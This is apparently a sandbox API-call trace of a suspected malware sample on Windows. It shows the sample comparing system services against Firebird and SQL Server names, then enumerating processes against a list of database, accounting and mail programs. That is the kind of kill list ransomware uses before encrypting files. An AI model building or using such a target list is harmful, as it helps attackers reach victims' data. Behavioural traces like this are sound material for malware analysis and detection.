	[0263.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0263.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0263.476] lstrlenW (lpString="CscService") returned 10
	[0263.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0263.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0263.476] lstrlenW (lpString="DcomLaunch") returned 10
	[0263.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0263.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0263.476] lstrlenW (lpString="Dhcp") returned 4
	[0263.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0263.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0263.476] lstrlenW (lpString="Dnscache") returned 8
	[0263.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0263.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0263.476] lstrlenW (lpString="DPS") returned 3
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0263.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0263.477] lstrlenW (lpString="eventlog") returned 8
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0263.477] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0263.477] lstrlenW (lpString="EventSystem") returned 11
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0263.477] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0263.477] lstrlenW (lpString="gpsvc") returned 5
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0263.477] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0263.477] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0263.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0263.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0263.477] lstrlenW (lpString="lmhosts") returned 7
	[0263.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0263.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0263.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0263.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0263.478] lstrlenW (lpString="MMCSS") returned 5
	[0263.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0263.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0263.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0263.478] lstrlenW (lpString="MpsSvc") returned 6
	[0263.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0263.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0263.478] lstrlenW (lpString="NlaSvc") returned 6
	[0263.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0263.478] lstrlenW (lpString="nsi") returned 3
	[0263.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0263.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0263.478] lstrlenW (lpString="PcaSvc") returned 6
	[0263.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0263.478] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0263.478] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0263.479] lstrlenW (lpString="PlugPlay") returned 8
	[0263.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0263.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0263.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0263.479] lstrlenW (lpString="Power") returned 5
	[0263.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0263.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0263.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0263.479] lstrlenW (lpString="ProfSvc") returned 7
	[0263.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0263.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0263.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0263.479] lstrlenW (lpString="RpcEptMapper") returned 12
	[0263.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0263.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0263.479] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0263.479] lstrlenW (lpString="RpcSs") returned 5
	[0263.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0263.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0263.479] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0263.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0263.479] lstrlenW (lpString="SamSs") returned 5
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0263.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0263.480] lstrlenW (lpString="Schedule") returned 8
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0263.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0263.480] lstrlenW (lpString="SENS") returned 4
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0263.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0263.480] lstrlenW (lpString="ShellHWDetection") returned 16
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0263.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0263.480] lstrlenW (lpString="Spooler") returned 7
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0263.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0263.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0263.480] lstrlenW (lpString="Themes") returned 6
	[0263.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0263.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0263.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0263.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0263.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0263.481] lstrlenW (lpString="UxSms") returned 5
	[0263.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0263.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0263.481] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0263.481] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0263.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0263.481] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0263.481] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c
	[0263.482] Process32FirstW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0263.482] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0263.483] lstrlenW (lpString="System") returned 6
	[0263.483] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0263.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0263.483] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0263.483] lstrlenW (lpString="smss.exe") returned 8
	[0263.483] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0263.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0263.483] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0263.484] lstrlenW (lpString="csrss.exe") returned 9
	[0263.484] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0263.484] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0263.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0263.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0263.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0263.484] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0263.484] lstrlenW (lpString="wininit.exe") returned 11
	[0263.484] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0263.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0263.484] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0263.484] lstrlenW (lpString="csrss.exe") returned 9
	[0263.484] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0263.485] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0263.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0263.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0263.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0263.485] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0263.485] lstrlenW (lpString="winlogon.exe") returned 12
	[0263.485] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0263.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0263.485] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0263.486] lstrlenW (lpString="services.exe") returned 12
	[0263.486] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0263.486] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0263.486] lstrlenW (lpString="lsass.exe") returned 9
	[0263.486] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0263.486] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0263.486] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0263.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0263.486] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0263.486] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0263.486] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0263.487] lstrlenW (lpString="lsm.exe") returned 7
	[0263.487] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0263.487] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0263.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0263.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0263.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0263.487] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.487] lstrlenW (lpString="svchost.exe") returned 11
	[0263.487] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0263.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0263.487] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.488] lstrlenW (lpString="svchost.exe") returned 11
	[0263.488] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0263.488] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.488] lstrlenW (lpString="svchost.exe") returned 11
	[0263.488] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0263.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0263.488] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.489] lstrlenW (lpString="svchost.exe") returned 11
	[0263.489] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0263.489] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.489] lstrlenW (lpString="svchost.exe") returned 11
	[0263.489] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0263.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
